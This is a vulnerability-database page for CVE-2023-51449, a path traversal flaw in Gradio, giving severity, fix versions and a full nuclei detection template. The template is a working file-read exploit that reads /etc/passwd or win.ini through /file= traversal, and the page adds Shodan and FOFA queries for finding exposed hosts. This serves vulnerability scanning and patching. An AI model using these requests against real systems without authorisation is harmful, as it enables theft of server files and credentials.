HexBrain

Browse / CVEs / CVE-2023-51449

CVE-2023-51449· gradio project / gradio· CWE-22

Gradio Hugging Face - Local File Inclusion

highseverity
7.5CVSS score
28.3%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Gradio LFI when auth is not enabled, affects versions 4.0 - 4.10, also works against Gradio < 3.33

Impact

Unauthenticated attackers can read arbitrary files from the server when authentication is not enabled, potentially exposing sensitive configuration files and credentials.

Fix

Upgrade Gradio to version 3.33 or later (for Gradio < 3.x) or to version 4.11 or later (for Gradio 4.x).

How to confirm it

Send: POST /upload ; GET /file={{download_path}}{{path}}
Positive when: matches /root:.*:0:0:/ AND contains in content_type "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2023-51449 -u <target>

The full check
id: CVE-2023-51449

info:
  name: Gradio Hugging Face - Local File Inclusion
  author: nvn1729
  severity: high
  description: |
    Gradio LFI when auth is not enabled, affects versions 4.0 - 4.10, also works against Gradio < 3.33
  impact: |
    Unauthenticated attackers can read arbitrary files from the server when authentication is not enabled, potentially exposing sensitive configuration files and credentials.
  remediation: |
    Upgrade Gradio to version 3.33 or later (for Gradio < 3.x) or to version 4.11 or later (for Gradio 4.x).
  reference:
    - https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/
    - https://github.com/gradio-app/gradio/security/advisories/GHSA-6qm2-wpxq-7qh2
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51449
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-51449
    cwe-id: CWE-22
    epss-score: 0.28336
    epss-percentile: 0.98138
    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:*:python:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gradio_project
    product: gradio
    framework: python
    shodan-query: html:"__gradio_mode__"
    fofa-query: body="__gradio_mode__"
  tags: cve,cve2023,lfi,gradio,unauth,intrusive,vuln

variables:
  str: '{{rand_base(8)}}'

http:
  - raw:
      - |
        POST /upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311

        -----------------------------250033711231076532771336998311
        Content-Disposition: form-data; name="files";filename="okmijnuhbygv"
        Content-Type: application/octet-stream

        {{str}}
        -----------------------------250033711231076532771336998311--

      - |
        GET /file={{download_path}}{{path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: download_path
        internal: true
        group: 1
        regex:
          - "\\[\"(.+)okmijnuhbygv\"\\]"

    payloads:
      path:
        - ..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini
        - ../../../../../../../../../../../../../../../etc/passwd

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from